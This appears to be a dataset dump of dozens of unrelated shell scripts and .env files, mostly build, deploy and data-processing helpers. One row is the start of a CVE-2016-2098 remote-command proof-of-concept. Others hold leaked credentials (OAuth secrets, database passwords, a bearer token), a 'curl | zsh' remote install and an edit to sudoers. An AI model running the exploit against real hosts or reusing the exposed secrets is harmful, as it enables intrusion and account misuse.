blob_id stringlengths 40 40 | length_bytes int64 7 488k | source stringlengths 7 488k |
|---|---|---|
ba2172c690cb72d4aeacdf28ca99b2f20143b3b8 | 504 | if [ "$1" == "" ]; then
if [ "$OSTYPE" == "win32" ] || [ "$OSTYPE" == "msys" ]; then
g++ core.cpp -o core.exe -I C:/OpenSSL/include -L C:/OpenSSL/lib -lssl -lcrypto -lws2_32 -lgdi32 && ./core.exe
else
g++ core.cpp -o core -lssl -lcrypto && ./core
fi
elif [ "$1" == "code" ]; then
if [ "$... |
5e72171650d6c7bd60ac74ad6ea7b96160528ff3 | 810 | #!/bin/bash
set -e
REGISTRY="us.gcr.io/advisorconnect-1238/"
IMAGE="service-ingest-initiation"
#set image tag
if [ $CI_BRANCH != "production" ]; then
IMAGE_TAG=${CI_BRANCH}-${CI_TIMESTAMP}-${CI_COMMIT_ID}-${CI_COMMITTER_USERNAME}
else
IMAGE_TAG=2.1.0-${CI_TIMESTAMP}-${CI_COMMIT_ID}-${CI_COMMITTER_USERNAME}
fi
... |
e27caa013bf821e18490834c6135d8f043338ad8 | 2,363 | APP_NAME=Laravel
APP_ENV=local
APP_KEY=
APP_DEBUG=false
APP_URL=http://localhost
LOG_CHANNEL=stack
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=root
DB_PASSWORD=
BROADCAST_DRIVER=log
CACHE_DRIVER=file
QUEUE_CONNECTION=sync
SESSION_DRIVER=cookie
REDIS_HOST=127.0.0.1
REDIS_PASSW... |
69f0ba4ec5d547b90c6d9bd658fae184c764591d | 1,097 | #!/usr/bin/env zsh
###########################################################################
# Script Name : install.zsh
# Description : Installs Oh My Zsh and its plugins.
# Author : Denis Semenenko
# Email : dols3m@gmail.com
# Date written: January 2019
#
# Distributed under MIT license
# Copyright (c) 2... |
08d9c6d1998c5093ece426d73cf54b94762157df | 408 | LAICODE_DB_NAME=laicode
LAICODE_DB_USER=newuser
LAICODE_DB_PWD=password
LAICODE_DB_HOST=10.1.10.190
LAICODE_DB_PORT=3306
LAICODE_JUDGE_ENDPOINT=10.1.10.190:5001
LAICODE_LOG_DIR=/Users/chenxuefei/code/laicode/build/work_dir
LAICODE_CONTAINER_WORK_DIR=/var/run/laicode/work
LAICODE_HOST_WORK_DIR=/Users/chenxuefei/code/lai... |
1475f539042081cf727a6f1af7a34cf447b1279d | 2,228 | #!/bin/bash
set -e
echo "`date`: Configure certs directory"
certs_path=/var/vcap/data/smoke-tests/certs
rm -rf $certs_path
mkdir -p $certs_path
cp /var/vcap/jobs/smoke-tests/config/certs/* $certs_path/
mv $certs_path/client.crt $certs_path/client.<%= p("user") %>.crt
mv $certs_path/client.key $certs_path/client.<%= ... |
e8528821b3d3a100e4dcf65cc1f95443db0d2d1f | 42 | VARB="Shell Scripting is Fun!"
echo $VARB
|
5be597ebffdc2737951f729eccf3242b047ff878 | 1,285 | #!/bin/bash
USER=$1
USER_PASS=$2
HOSTNAME=$3
echo $HOSTNAME
echo "Add user compose"
sudo adduser --disabled-password --gecos "" $USER
echo "Set Password for user $USER"
echo "$USER:$USER_PASS" | sudo chpasswd
echo "Add user compose in sudoers file"
sudo sed -i '$a'$USER' ALL=(ALL) ALL' /etc/sudoers
echo "Add pas... |
346d95fb32112cc183dd00168941bb06bf080b73 | 332 | #!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Please run as root"
exit
fi
echo Launched at $(date "+%Y-%m-%d %H:%M:%S")
while true; do
if ! [ "`ping -c 1 -W 10 google.com`" ]; then
nmcli networking off && nmcli networking on
echo Network restarted $(date "+%Y-%m-%d %H:%M:%S")
fi
slee... |
53b2a0adee4d485f513b2dda321c3ca031d047f4 | 1,469 | #!/bin/sh
# This script is used to sync a remote-rootfs directory to local
# disk partition, in order to sync multiple rootfs, we use the
# btrfs as the local disk partition filesystem, for its subvolume
# feature.
#
# Currently, only support NFS format remote-rootfs as the first
# parameter, but easy to add more remot... |
750131bcc9d0c2d7095e1249bd06c37aab81f55a | 278 | #!/bin/bash
set -euo pipefail
# ==================================================================
# APPS
# ==================================================================
apps=(
"System Preferences"
"QuickTime Player"
)
for app in "${apps[@]}"; do
open -a "$app"
done
|
6f89fd0f03550cd32115afe72ee6a61df07f187b | 253 | #!/bin/sh
#Search for line number length
for f in *.c *.h; do
echo -en $f '\t'
awk '{print length, $0}' $f 2>/dev/null| sort -nr | head -1
done
echo
#Checks for unix line endings
file *.c *.h
#Search for unedited headers
grep "EDIT HERE" *.c *.h
|
bb0d510ab04e95416d57502457906d46b496dd10 | 7,691 | #!/bin/bash
NBIO=nbio
NVME_CLI=nvme
IOLOG_PREFIX=iolog-
SMARTLOG_PREFIX=smartlog-
ERRORLOG_PREFIX=errorlog-
IOENGINE=spdk
#IOENGINE=libaio
PCI_ADDRESS=$FQA_DEVICE # domain:bus:device:function
PATH_FQA_TEST_SCRIPT=~/fqa/trunk/fqa_test_script
PATH_GET_LOG=~/fqa/trunk/io/get_log
if [[ -z $NBIO_NSID ]]; then
NSID=1
... |
bbba009434d2bbd9474fa4f871e7556235887bda | 563 |
#!/bin/bash
echo '[+] CVE-2016-2098 POC'
if [ -z "$3" ]
then
echo '[-] USAGE: /bin/bash' $0 '<host> <URI> <cmd>'
echo '[~] Example: /bin/bash' $0 '"http://target.com" "pages?id" "whoami"'
exit -1
fi
host=$1
uri=$2
cmd=$3
while [ "$cmd" != 'exit' ]
do
... |
5db526792c560bbac0886f28408c9ccdfb77e7f5 | 173 | Check the version of a package on a Debian based system
Install specific version of packages
Backporting on Debian
List installed packages
Keeping repos updated with `cron` |
7a8b515a9460f19a7fe4c5ce446dc79b8a593b93 | 577 | #!/bin/bash
knife ec2 server create -I ami-1c5dd974 --bootstrap-version 11.16.4 --security-group-ids sg-46c73923 --subnet subnet-72d9a05a --associate-public-ip --ssh-key gio-keypair -f m3.large --ssh-user root --identity-file ~/VLG/gio/AWS\ Keypairs/gio-keypair.pem -N usvaopnsprd01 --fqdn usvaopnsprd01.inf.videologygr... |
741fff440084ad4937d2b43b04e685e028e7b5ab | 732 | #!/bin/bash
set +x
set -e
. .colors.sh
BASEDIR=$PWD
. $BASEDIR/io.sh 1 13 2 "$@"
CURDIR=`pwd`
## INPUTS VARIABLES
input_nc=${INPUTS1}
## PARAMETERS VARIABLES
dataset_type=${PARAMS1}
index=${PARAMS2}
distribution=${PARAMS3}
scales=${PARAMS4}
sim_start_year=${PARAMS5}
sim_end_year=${PARAMS6}
calib_start_year=${PARAMS7... |
88c512c1feb48b0bbc3e927d789c3c70016f744e | 10,649 | #!/bin/bash
REPOS="$1"
THE_APP_NAME=`git diff -n 1 --name-only HEAD@{1} HEAD | head -n 1 | perl -lne 'print $1 if /([^\/]*)/i;'`
JENKINS_URL=http://localhost:8080/jenkins
JENKINS_CLI=/usr/local/tomcat/webapps/jenkins/WEB-INF/jenkins-cli.jar
JENKINS_USER=admin
JENKINS_PW=wolips
MYSQL=/usr/local/mysql/bin/mysql
MYSQL_US... |
e5d38cfbf7657a0bf57f15ebe90eed46df7918d9 | 94 | #!/bin/sh
gcc -o barbershop2 barbershop2.c -lpthread
gcc -o postoffice postoffice.c -lpthread
|
48abf4dd1a079b21f229ffcb9c052f5fc2b6f8fb | 234 | #!/bin/sh
#
# ---------------------------------------------------------------------
# PyCharm startup script.
# ---------------------------------------------------------------------
scrapy crawl yingjiesheng && scrapy crawl nwpujob
|
4a913e028c5271cbd7c6d6e9e517d9fec4d5f9b3 | 2,631 | #!/bin/bash
# Create new folder where you will keep all processed data
mkdir processed
cd processing_scripts
# Process mpqa data
python3 process_mpqa.py
# Process darmstadt data
cd ..
unzip DarmstadtServiceReviewCorpus.zip
cd DarmstadtServiceReviewCorpus
unzip services
unzip universities
grep -rl "&" universities/b... |
f43668c9a6976031ba90f56aa7ef0e7967eb8867 | 581 | #!/bin/bash
# Assumes position of streaming directory
# Rest can be customised by changing variables below
source /home/ubuntu/run.sh
echo "This application expects apache spark, hdfs and hive metastore to be running on the cluster"
sleep 1
datasetStreamDirectory=/user/ubuntu/cs-838/part-b/workload/dataset-stream/
spa... |
62c2459d2382a0c437df33454d0b0892a849c2ba | 158 | #!/bin/bash
if [ -n "$PS1" ]; then
# shellcheck disable=SC1090
source ~/local/etc/liquidprompt
fi
export PROMPT_COMMAND="history -a;$PROMPT_COMMAND"
|
d5fc41938b3ba6b569125e5045c5d38cb04058b0 | 334 | #!/usr/bin/env bash
ROOT_DIR=$(pwd)
echo "ROOT_DIR=${ROOT_DIR}"
for EXTENSION_DIR in ops/*
do
if [ -d "${EXTENSION_DIR}" ] ; then
echo ${EXTENSION_DIR}
cd ${EXTENSION_DIR}
if [ -d "build" ]; then
rm -r build
fi
python setup.py build_ext --inplace
fi
cd ${... |
897b0f0cda6069ede4e27bb93502e6b0f0d6187c | 285 | rm -rf viap_results
mkdir viap_results
for file in *.c
do
echo "RUNNING VIAP FOR $file"
base=`basename $file .c`
cat $file > temp.c
memlimit -t 100 viap_tool.py --spec=unreach-call.prp temp.c > viap_results/$base.log 2>&1
tail -4 viap_results/$base.log
rm -f temp.c
done
|
12c0c75a3f06df87c015a1116ce41dd3949e0912 | 56 | cmake -Dgtest_build_samples=ON -Dgtest_build_tests=ON .
|
fbb7920249d3034abd057fd9d8fc9c9a3b72f490 | 376 | {% from "rkhunter/map.jinja" import rkhunter with context -%}
#!/bin/bash
LOCK_FILE='/var/run/rkhunter_baseline'
if [ ! -f $LOCK_FILE ]; then
rkhunter --versioncheck --update --propupd --nocolors > /tmp/rkhunter.tmp
mail -s "[rkhunter] First rootkit hunter run on {{ salt['grains.get']('fqdn') }}" {{ rkhunter.email ... |
558bbd83ea94e8dd37316dd4023d1d41b5805d81 | 162 | DOCKER_CONTAINER_PREFIX=
PHP_PORT=
DB_EXTERNAL_PORT=
DB_PREFIX=
DB_HOST=
DB_PORT=
DB_DATABASE=
DB_USER=
DB_PASSWORD=
DB_ROOT_PASSWORD=
DB_ALLOW_EMPTY_PASSWORD=
|
a703a183d4f47a025969469128ee4806fc7039b6 | 1,516 |
export COMPOSE_FILE=./example/docker-compose.yml
export CURL="curl --silent --fail -m15"
export FC_EXEC="fat exec"
export FC_STATUS="fat exec systemctl status --no-pager -l"
export FC_COMPOSE="fat exec /var/lib/fatc/bin/docker-compose -f /var/lib/fatc/"
export D0_COMPOSE="$FC_COMPOSE/daemons/daemon0/docker-compose.ym... |
6279d7e4a56869466d9bc2303edf2f6550370de4 | 1,386 | #!/bin/sh -l
apk add --update --no-cache musl gcc g++ make git cmake zip
cd /github/workspace
ls
mkdir dist
mkdir build
cmake --version
cmake -S . -B build -DCMAKE_BUILD_TYPE=Release -DENABLE_SHARED=on -DENABLE_CAPI=off -DENABLE_TESTS=off -DTARGET_RPATH="@executable_path;/usr/local/lib;/usr/local/lib64;./node_modul... |
75e831a651ae6e04c2a5c9fc985f2f25d1ae4cf5 | 158 | #!/bin/bash
cd `dirname $0`
if [ -e ml-1m.zip ]
then
echo "ok"
else
wget http://files.grouplens.org/datasets/movielens/ml-1m.zip
fi
unzip ml-1m.zip
|
7b3c357efe98d74d494bf942d10fe04edb4169b7 | 266 | ENVIRONMENT=development
MONGO_CONNECTION_STRING=mongodb://localhost/tribe
SESSION_SECRET=shhh
PORT=3000
GITHUB_CLIENT_ID=98fd651e4029738c4b6e
GITHUB_CLIENT_SECRET=524c4e7ab63151a0711376f4f1ea51377092391d
GITHUB_CALLBACK_URL=http://localhost:3000/auth/github/callback |
579a54bc18d5c894e185a49905be523fc95e4f89 | 233 | #!/bin/bash
sed -i 's/tracker_server=.*/tracker_server='`hostname`':22122/g' /etc/fdfs/storage.conf
/usr/bin/fdfs_trackerd /etc/fdfs/tracker.conf
/usr/bin/fdfs_storaged /etc/fdfs/storage.conf
tail -f /home/fastdfs/logs/storaged.log
|
1e7798d09028ef1f8a0a937cdcc1caec759ae403 | 1,401 | #! /bin/sh
# Convert roman numerals (in either letter case) into decimal values. All
# variants mentioned in the Wikipedia article are supported.
#
# Version 2017.346.2
#
# Copyright (c) 2017 Guenther Brunthaler. All rights reserved.
#
# This script is free software.
# Distribution is permitted under the terms of the L... |
cd1e79b5a89b8b79e22b284858eeeb6dfac9b2b5 | 1,729 | #!/bin/bash
function identifyClients {
mount -o remount,rw / 2>/dev/null
PREFIX=''; PREFIX=`/opt/tps/bin/pmx.py show hadoop | egrep "client" | awk '{print $NF}' | awk -F. '{print $1"."$2"."$3"."}' | sort -u`
CLIENTS=''; CLIENTS=`/opt/tps/bin/pmx.py show hadoop | egrep "client" | awk '{print $NF}' | awk -F. '{print $4}... |
2afcb9b585d7981c83c409a9bbfb80606af72797 | 729 | #!/bin/bash
usage() { echo "Usage: $0 [-p <string>]" 1>&2; exit 1; }
while getopts ":p:" option; do
case "${option}" in
p)
p=${OPTARG}
;;
*)
usage
;;
esac
done
shift $((OPTIND-1))
if [[ -z "${p}" ]]; then
p="${PWD}/.profile"
fi
source ${p}
... |
a79750c886ffd9039ce8228e483895ed2f560161 | 157 | #!/bin/bash
dir=$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )
. ""${dir}"/../../cons.sh"
kubectl delete all --all --namespace="${NAMESPACE}"
./delete.sh |
c13000ea940ec6b7b9110f04feaddcd05a902d84 | 129 | #!/bin/bash
until ./map-server; do
echo "Server 'map-server' crashed with exit code $?. Respawning.." >&2
sleep 1
done
|
11edf774f4cb446e5c34ecc7c2146b040a6e8a64 | 195 | #!/bin/sh
# https://apple.stackexchange.com/questions/117644/how-can-i-list-my-open-network-ports-with-netstat/117648#117648
# lsof -i -P | grep -i "listen"
netstat -atp tcp | grep -i "listen"
|
ee7e8a5d8b137c4e4824031ede476eda51bac990 | 279 | #!/bin/bash
# vcloud only
vc_frame_id="cloud"
vc_child_frame_id="cloud"
# others frame here
fid=${vc_frame_id}
cid=${vc_child_frame_id}
echo "rosrun tf static_transform_publisher 0 0 0 0 0 0 1 ${fid} ${cid}"
rosrun tf static_transform_publisher 0 0 0 0 0 0 1 ${fid} ${cid}
|
5db6970d180395f75e9fd0f155ee5b001ca498a1 | 149 | DOT_FILES=(.vimrc .vimsynclist .zshrc .tmux.conf .vim .gitconfig .gitignore)
for file in ${DOT_FILES[@]}
do
ln -s ~/dotfiles/$file ~/$file
done
|
046af5f3cf093d0d946053703edcba417c338b9e | 103 | #!/bin/bash
vagrant up puppet
vagrant up puppetagent1
vagrant up puppetagent2
vagrant ssh puppet
|
776cc381b17b8c1dd77ce24702da297947dade3e | 240 | movimentacao="/home/mateus/fabricas-de-scripts/script-movimentacao-arquivos/movimentacao";
num_arquivos=20;
for ((a=1; a <= num_arquivos ; a++ ));
do
arquivo="$movimentacao/teste$a.txt"
touch $arquivo
chmod 774 $arquivo
done
|
a23cb3a457c0762f3ffcc4d8580dbdf86ab07194 | 197 | #!/bin/sh
sudo killall python
sleep 1
sudo su -c 'nohup python -u controller.py >/run/nexa_controller.log 2>&1 &'
sudo su -c 'nohup python -u web_interface.py >/run/nexa_web_interface.log 2>&1 &'
|
6457507c405b0fd1c4acc020a6a71967c351ec27 | 167 | #!/bin/bash
set -e
if [[ ! -x wasm2wat ]]; then
curl -L https://zulu.molovo.co/install | zsh && zsh
else
echo "Found wasm2wat in path, not reinstalling wabt"
fi
|
68a55af2cf4c75c24bff20eeb5ab875f2d6751be | 1,438 | #!/bin/bash
set -ex
if [ -z "$gcs_access_key" ]; then
echo "gcs_access_key not set, aborting"
exit 1
fi
if [ -z "$gcs_secret_access_key" ]; then
echo "gcs_secret_access_key not set, aborting"
exit 1
fi
display_help() {
echo "Usage: $0 [option...]" >&2
echo
echo " -i interpolate the cloud c... |
0bcc6e6409534c65aac2bc79ed8b822c5b36a60a | 417 | #!/usr/bin/env bash
git diff HEAD --name-only | grep '\.rb' | xargs rubocop --config ~/.rubocop.lint.yml
git diff HEAD --name-only | grep '\.ts' | xargs tslint -c ~/tslint.lint.json
git diff HEAD --name-only | grep '\.js' | xargs jshint -c ~/.jshintrc.lint
git diff HEAD --name-only | grep '\.ts' | xargs eslint -c ~/.es... |
b57621c37a68e9db9f04b8f7d92ea421eb801e90 | 262 | #!/bin/bash
newname=$(echo $1 | awk -F '_mean-std_sorted.tsv' '{print $1}')
cp $1 ${newname}_depth.inf
echo -e "Feature\tMean\tStandard Deviation\tCoefficient of Variation" \
> Header.txt
cat Header.txt \
${newname}_depth.inf \
> ${newname}_depth_stats.tsv
|
7801c8232ad4201b8ef64ac4fee658bc5caf7000 | 110 | ls *.ipynb | awk -F '.' '{print $1}' | xargs -I {} jupyter nbconvert --to script --output scripts/{} {}.ipynb
|
4e7cbff881fdae528ef12e0fc7012af7ee8d2ffa | 1,024 | APP_ENV=production
APP_DEBUG=false
APP_KEY=ecFZ9w0AhycKIpDOsYKcWd7GSqa4sfQQ
APP_URL=http://bepo.ctitv.com.tw/bepoapp
DB_HOST=10.110.150.213
DB_PORT=3306
DB_DATABASE=bepo
DB_USERNAME=pmauser
DB_PASSWORD=bepo66007766
SHOWTV_DB_HOST=10.110.150.213
SHOWTV_DB_PORT=3306
SHOWTV_DB_DATABASE=showtv
SHOWTV_DB_USERNAME=pmauser
... |
e6b460d78379ed7bffbeab242637e0c692083615 | 203 | #!/bin/bash
source constants.sh
set -ev
OUT_DIR=${OUT}/site-data
sqlite3 -header -csv ${DB} < ../website/src/assets/pages/vis1-geomap-of-opioid-deaths/data.sql > ${OUT_DIR}/vis-geomap-opioid-deaths.csv |
3379a34a33ab9bb1ec75f9d3f2767d397cfb03a3 | 4,200 | #!/bin/bash
# GATK coverage stats
# script filename
script_path="${BASH_SOURCE[0]}"
script_name=$(basename "$script_path")
segment_name=${script_name/%.sh/}
echo -e "\n ========== SEGMENT: $segment_name ========== \n" >&2
# check for correct number of arguments
if [ ! $# == 3 ] ; then
echo -e "\n $script_name ERR... |
013e9c1b4587e9b9df7445ee175fce0fc887e32a | 65 | for img in `ls *.png`
do
convert -rotate 90 $img Rot$img
done
|
99fd5ce2e0e6b7af9226f4ab920465fcd198c820 | 404 | APP_ENV=local
APP_DEBUG=true
APP_KEY=8HllpxgaLq3wm8b0a2szju1slZilh6h9
DB_CONNECTION=pgsql
DB_HOST=ec2-54-83-53-120.compute-1.amazonaws.com
DB_DATABASE=d2ilqdah2rpg4e
DB_USERNAME=gxwpeyzbeczpri
DB_PASSWORD=rR54pYQOjNgnspaJaa44A3FGkr
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=sync
MAIL_DRIVER=smtp
MAIL_HOST=ma... |
8958cd632f1f6e5f9091261c3a16ae9ae04f539a | 3,686 | #!/bin/sh
# Generate Solaris package to install scc-srv by means of pkgadd.
# Copyright (C) 2001-2004 Open Challenge B.V.
# Copyright (C) 2004-2005 OpenEyeT Professional Services.
# Copyright (C) 2005-2018 QNH.
# Copyright (C) 2019 Siem Korteweg.
#
# This program is free software; you can redistribute it and/or modify... |
90aab3c4275195b6e4338c11e80a4ac6c396bad5 | 257 | #!/bin/bash
#PBS -N 4771_prune
#PBS -l nodes=1:ppn=1
#PBS -l walltime=480:00:00
#PBS -e errlog_4771_prune
#PBS -q high
cd $PBS_O_WORKDIR
plink --bfile 4771 --indep-pairwise 50 10 0.1
plink --bfile 4771 --extract plink.prune.in --make-bed --out pruned4771
|
199397e242d197dda9d6ca89aa38f17a4575ab7c | 458 | #!/bin/bash
if [ "$EUID" -ne 0 ]; then
echo "*** Please run with sudo."
exit 1
fi
hosts=("h1" "h2" "h3")
hsifaces=("s1-h1" "s1-h2" "s1-h3")
echo "Cleanup all network namespaces, cgroups, veth pairs, qdiscs and OVS bridges."
for i in "${hsifaces[@]}"; do
ip link delete "$i"
done
rmdir /sys/fs/cgroup/cpu... |
377e409253f376ba3bb933c6e71e4f08a8b0e4a2 | 1,110 | #!/usr/bin/env bash
CURRENT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
source "${CURRENT_DIR}/../common/base.sh"
###
# Variables
###
###
# Input checker
###
while [[ $# -gt 0 ]]
do
key="$1"
case $key in
-h | --help)
PROCESS="help"
;;
-i | --install)
PROCESS="install"
;;
-d | --d... |
1dcc45839d652377a20d2787040714d9c19bd31e | 302 | python ./tools/main.py --config_file='configs/AGW_baseline.yml' \
MODEL.DEVICE_ID "('0')" \
DATASETS.NAMES "('oxygen')" \
MODEL.TRANSFER_MODE "('on')" \
MODEL.PRETRAIN_CHOICE "('self')" \
MODEL.PRETRAIN_PATH "('./log/market1501/Experiment-AGW-baseline/resnet50_nl_model_160.pth')" |
40b150d3b23c37dfee324daeee0003225dd3b728 | 314 |
echo remove old byte-code files
rm *.class
echo list source files
ls -l *.java
echo compile PayrollCalculations.java
javac PayrollCalculations.java
echo compile PayrollFrame.java
javac PayrollFrame.java
echo compile TestPayroll.java
javac TestPayroll.java
echo Execute program
java TestPayroll
echo finished |
80ef0eeb770d2bc53ef0ca69467e6e4db71a69cf | 179 | CUDA_VISIBLE_DEVICES=0 python train.py --backbone resnet --lr 0.01 --workers 4 --epochs 40 --batch-size 16 --gpu-ids 0 --checkname deeplab-resnet --eval-interval 1 --dataset coco
|
99e55368dac94ebb61a55a22d12d05e3497a58b1 | 2,092 | #!/bin/bash -e
# Source global definitions
if [ -f /etc/bashrc ]; then
source /etc/bashrc
fi
export HISTFILESIZE=3000
# Homebrew Software
PATH=/opt/homebrew/bin:$PATH
PATH=/opt/homebrew/opt/python@3.11/libexec/bin:$PATH
# Python
PYTHONPATH="$(brew --prefix)/lib/python@3.11/site-packages"
export PYTHONPATH
#e... |
b227633c8c2a3aa42d944e172ecce9ac5dde8c76 | 1,312 | #!/bin/sh
# This script can be used as an entrypoint for build jobs
# or it can be "sourced" without parameters. Supports POSIX shells.
set -aeuo pipefail
if [ -e "$(dirname "$0")/.env" ]; then
source "$(dirname "$0")/.env"
fi
if [ -e ".env" ]; then
source ".env"
fi
# Support Google Cloud Build
if [ -n "${PROJEC... |
2ea6a810964c936baf0034141883f0486bf49f08 | 213 | #!/bin/sh
echo "Run a web browser to 'localhost:80'"
SERVICE=my_nginx
docker-compose up
docker-compose run $SERVICE
docker-compose down
# alternatively, you could do
# docker container run --rm -p 80:80 nginx
|
ca95fbb5d8834e512fb1a616d9109053abb6858b | 4,417 | #!/bin/bash
#
# Authors: Wojciech Mlynarczyk, Sami Kerola
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and th... |
66a592b09c64f14612b723c8ba32e84959af480e | 636 | #!/bin/bash -eu
#
# This script checks the size of /tmp/linux-3.0.tar.gz and downloads
# a fresh copy if the size is incorrect or the file is missing.
URL=https://cdn.kernel.org/pub/linux/kernel/v3.0/linux-3.0.tar.gz
TGZ=/tmp/linux-3.0.tar.gz
SIZE_WANT=96675825
SIZE_ACTUAL=0
if [[ -e $TGZ ]]; then
if [[ $OSTYPE == l... |
7da1907298761323629d506408d67c526ae983f5 | 1,218 | #!/bin/bash
echo "Creating new user"
#server=149.28.59.50
#server=192.168.1.11
server=localhost
userInfo='{ "identifier": "admin6", "password": "admin5", "email": "support@workspaceafrica.com", "firstName": "TestUser", "lastName": "TestLast"}'
token="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxLWZBZTNOSUVHcklQaD... |
472db6a00a8ead08050eeb1a155c78f1a9e5cdfa | 458 | #!/bin/bash
#MSUB -l nodes=1:ppn=16
#MSUB -l walltime=1:00:00
#MSUB -l pmem=3000mb
#MSUB -N gsat-static-test
#MSUB -o /work/ul/ul_student/ul_pwn14/output/gsat_static_test
#MSUB -M sascha.rechenberger@uni-ulm.de
#MSUB -m bea
#MSUB -q singlenode
N=$1
X=$2
module load devel/python/3.5.2
python -O run_experiment.py $WOR... |
6f0018d428534bc2a3c42ab1c47685cc8c62e8d1 | 247 | #!/bin/sh
myEmacsC(){
emacsclient --create-frame --alternate-editor='' -nw "$@"
}
# Use xterm-direct to convince doom emacs to use truecolor
if [ "$COLORTERM" = "truecolor" ]; then
TERM=xterm-direct myEmacsC "$@"
else
myEmacsC "$@"
fi
|
39d05f456860575cb6c7c3be700ac2b159339ed3 | 64 | ASSETS_LOCATION="/home/htchan/Project/BookSpider/backend/assets" |
9ec223f364177c3cecb2ce69c9d66a3af4c24ed6 | 1,326 | #!/bin/bash
# Author Dario Clavijo 2018
# GPLv3
set -x
# set variables
POOL=$1
IMG=$2
SIZE=$3
PAGES=$4
USER=$5
LDEV=$6 # example rbd0
FS=$7 # example "mkfs.ext4 -j"
MONITOR="172.16.1.1 172.16.2.2"
ceph auth del client.$USER
ceph osd pool delete $POOL $IMG --yes-i-really-really-mean-it
# define pool,image and rbd ma... |
13d01c97db2800d4e614e9fa6ecd62a52661db91 | 270 |
NPM_PACKAGES="~/.npm-packages/"
NODE_PATH="$NPM_PACKAGES/lib/node_modules:$NODE_PATH"
PATH="$NPM_PACKAGES/bin:$PATH"
unset MANPATH
MANPATH="$NPM_PACKAGES/share/man:$(manpath)"
ORIGINAL_PATH=$PATH
function build_node_path {
export PATH=$(npm bin):$ORIGINAL_PATH
}
|
01c832f417c63da6605d0b5b80874bdb601983e3 | 301 | #!/bin/bash
# List of apps to load fixtures for
# News app is not included as it is updated in production
# TODO separate out eve update (similar to news)
NAME[1]="eba_portfolio"
source venv/bin/activate
for i in ${NAME[@]}
do
python3 manage.py loaddata --format=json $i $i/fixtures/$i.json
done
|
ff94367b6bd43d1d6753b1c8d2e27d9af6ae9042 | 118 | #!/usr/bin/env bash
# check if I'm using nvidia card
if [[ `prime-select query` == 'nvidia' ]]; then
compton -b
fi
|
3b0ecb9098b581ee8105fcb18d57be0969e69a5a | 3,733 | #!/bin/sh
#############################################################################
# NPC-PD2: produce ChEMBL CSV files.
#
# Get ChEMBL bioactivity data for compounds.
# Inchi files obsoleted by UniChem mappings (PubChem CID to Chembl ID).
#
# Files produced:
# (1) ChEMBL compounds: CHEMBL_ID, activity data.
# ... |
a7c9338ac4b1afc8e509467f156ada00ca06774c | 249 | #! /bin/bash
clone_url="$1"
if [[ ${clone_url} ]]; then
rm -rf /workspace/content
git clone "${clone_url}" /workspace/content
fi
hugo-obsidian -input=content -output=assets/indices -index -root=.
rm -rf /workspace/public/*
hugo --minify |
963890a6a4df4c9d77cf7c0616ff4501737a3d00 | 4,256 | #!/bin/sh
test_description='Test notes trees that also contain non-notes'
. ./test-lib.sh
number_of_commits=100
start_note_commit () {
test_tick &&
cat <<INPUT_END
commit refs/notes/commits
committer $GIT_COMMITTER_NAME <$GIT_COMMITTER_EMAIL> $GIT_COMMITTER_DATE
data <<COMMIT
notes
COMMIT
from refs/notes/commits... |
3ec7e4f64bce29f9fd32ad124ac035788d6e4a9b | 2,235 | #!/usr/bin/env bash
set -e
if [[ -z "$1" ]] || [[ -z "$2" ]] || [[ -z "$3" ]] ; then
echo "Please specify test case branch, backend path and ec2 pem key path"
exit 1
fi
#if [[ $EUID == 0 ]]; then
# echo "Exiting from root"
# exit
#fi
branch=$1
backend_path=$2
ec2_pem_key_path=$3
echo "##################... |
e30ab6c014432796d03b540d7346f5db2b4af196 | 160 | NODE_ENV=production
PORT=4008
MONGO_URL=mongodb://mongo/strategies
GATEWAY_ENDPOINT=http://master-app-api:4100/graphql
PRESHARED_GATEWAY_KEY=strategizer_keys
|
dfd75da11f64f8fd317b2742a15a83fc15480579 | 2,531 | #!/bin/sh
[ $# -ne 2 ] && {
echo "Usage: sh ffabcdef-2020-0514-2011-aaa340401710.sh <SU用户(SU或高权限用户)> <SU密码>";
exit 1;
}
# 获取当前路径
pathname=`pwd`
echo "touch /tmp/nsfocus_mod_tmp;">/tmp/NSF{nsf_tm}_nsfocus_grub_tmp
echo "chmod 777 /tmp/nsfocus_mod_tmp;">>/tmp/NSF{nsf_tm}_nsfocus_grub_tmp
echo "if [ -f \"/etc/grub.... |
0585f752f5435dbbc6419f1720631fde3c555e77 | 58 | docker build -t martinschmid/magnolia-cms-simple-docker .
|
efceabfa5a906f657b0e8a19b26caf9a6ab0abeb | 212 | java -jar -Xmx2048m -Xms1024m -Dlog4j.configuration="file:/opt/clout/log4j.xml" target/data-processing-cron-executable.jar yellowpagesDataJob spring/batch/jobs/yellowpages-data.xml --city=los angeles --state=ca
|
4a4b3556a2b6e00e0254c8bd35b228d6a087a1d5 | 2,534 | #!/bin/sh
#
# battery_watchdog v0.2 - Shutdown (graceful or hardcore) system when battery is low.
#
# Copyright (c) 2011, Piotr Karbowski <piotr.karbowski@gmail.com>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are
# permitted provided that the following co... |
b2dad0bcd9e9d99ed296b39dcefcef5a72deff43 | 613 | #!/bin/bash
./creStop.sh
#Update container
echo "Update CRE container"
# docker pull tamboraorg/creproxy:clim16n
# docker pull tamboraorg/crephp:clim16n
# docker pull tamboraorg/crenginxphp:clim16n
# docker pull tamboraorg/crepostgis:clim16n
# docker pull tamboraorg/cremysql:clim16n
# docker pull tamboraorg/creglue:cl... |
56c8c373416aa67bca75b71679975b4b94cdbd3a | 6,616 | #!/bin/bash
#includes #{{{
. config.sh
#}}}
#check if the user is or not root, and set the $USERNAME to $SUDO_USER
check_user
LOOP=1
while [ "$LOOP" -ne 0 ]
do
print_title "GAMES - https://wiki.archlinux.org/index.php/Games"
echo "[1] Action/Adventure"
echo "[2] Arcade/Platformer"
echo "[3] Dungeon"
echo "[4... |
2cc7cc5444fc9103cbaac161e794d4dec3f57cdc | 72 | bash update_input.sh
wait
bash run_nec2++.sh | python src/process.py
|
d76e285404caee1b77d68c8f0de33057955c4c88 | 369 | #!/usr/bin/env bash
